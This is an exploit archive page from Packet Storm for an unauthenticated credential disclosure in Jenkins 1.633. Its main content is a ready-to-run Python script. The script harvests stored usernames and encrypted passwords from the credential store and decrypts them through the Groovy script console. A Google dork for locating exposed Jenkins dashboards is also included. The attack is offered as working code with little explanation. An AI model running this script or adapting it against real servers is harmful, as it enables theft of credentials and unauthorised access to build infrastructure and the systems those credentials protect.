exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Jenkins 1.633 Credential Disclosure

Jenkins 1.633 Credential Disclosure
Posted Nov 11, 2015
Authored by Th3R3p0

Jenkins version 1.633 suffers from an unauthenticated credential recovery vulnerability.

tags | exploit, info disclosure
SHA-256 | abde370dba2adfff37416fc0dc82c7e6cc006f60a37c64b8f148759a98875b7e

Jenkins 1.633 Credential Disclosure

Change Mirror Download
# Exploit Title: Jenkins Unauthenticated Credential Recovery
# Disclosure Date: 10/14/2015
# Response Date: 10/14/2015
# Response: "Recommend this be rejected as a vulnerability."
# Full report including response: http://www.th3r3p0.com/vulns/jenkins/jenkinsVuln.html
# Vendor Homepage: https://jenkins-ci.org/
# Tested on: Jenkins v1.633
# Author = 'Th3R3p0' | Justin Massey
# Google Dork: intitle:"Dashboard [Jenkins]" Credentials

import requests
import re
from BeautifulSoup import BeautifulSoup
import urllib


# Usage: Modify the URL below to match the target host and port
# Must have trailing slash at end of URL
url='http://192.168.1.151:8080/'

# makes request to gather all users with stored credentials
r= requests.get(url + 'credential-store/domain/_/')
soup = BeautifulSoup(r.text)

# loop to go through all hrefs and match the regex "credential" and add the urls to the users list
users = []
for link in soup.body.findAll('a', href=True):
m = re.match("credential", link['href'])
if m:
if link['href'] not in users:
users.append(link['href'])

for users in users:
r2 = requests.get(url + 'credential-store/domain/_/'+users+'/update')
soup2 = BeautifulSoup(r2.text)

# Finds the user and password value in html and stores in encPass variable
user = soup2.body.findAll(attrs={"name" : "_.username"})[0]['value']
encPass = soup2.body.findAll(attrs={"name" : "_.password"})[0]['value']
# Encodes the password to www-form-urlencoded standards needed for the expected content type
encPassEncoded = urllib.quote(encPass, safe='')

# Script to run in groovy scripting engine to decrypt the password
script = 'script=hudson.util.Secret.decrypt+%%27' \
'%s'\
'%%27&json=%%7B%%22script%%22%%3A+%%22hudson.util.Secret.decrypt+%%27' \
'%s' \
'%%27%%22%%2C+%%22%%22%%3A+%%22%%22%%7D&Submit=Run' % (encPassEncoded, encPassEncoded)

# Using sessions because the POST requires a session token to be present
with requests.Session() as s:
r3 = s.get(url+'script')
headers = {'content-type': 'application/x-www-form-urlencoded'}
r3 = s.post(url+'script',data=script, headers=headers)
soup3 = BeautifulSoup(r3.text)

# Extracts password from body
password = soup3.body.findAll('pre')[1].text
password = re.sub('Result:', '', password)
print "User: %s | Password:%s" % (user, password)

Login or Register to add favorites

File Archive:

October 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Oct 1st
    39 Files
  • 2
    Oct 2nd
    23 Files
  • 3
    Oct 3rd
    18 Files
  • 4
    Oct 4th
    20 Files
  • 5
    Oct 5th
    0 Files
  • 6
    Oct 6th
    0 Files
  • 7
    Oct 7th
    0 Files
  • 8
    Oct 8th
    0 Files
  • 9
    Oct 9th
    0 Files
  • 10
    Oct 10th
    0 Files
  • 11
    Oct 11th
    0 Files
  • 12
    Oct 12th
    0 Files
  • 13
    Oct 13th
    0 Files
  • 14
    Oct 14th
    0 Files
  • 15
    Oct 15th
    0 Files
  • 16
    Oct 16th
    0 Files
  • 17
    Oct 17th
    0 Files
  • 18
    Oct 18th
    0 Files
  • 19
    Oct 19th
    0 Files
  • 20
    Oct 20th
    0 Files
  • 21
    Oct 21st
    0 Files
  • 22
    Oct 22nd
    0 Files
  • 23
    Oct 23rd
    0 Files
  • 24
    Oct 24th
    0 Files
  • 25
    Oct 25th
    0 Files
  • 26
    Oct 26th
    0 Files
  • 27
    Oct 27th
    0 Files
  • 28
    Oct 28th
    0 Files
  • 29
    Oct 29th
    0 Files
  • 30
    Oct 30th
    0 Files
  • 31
    Oct 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close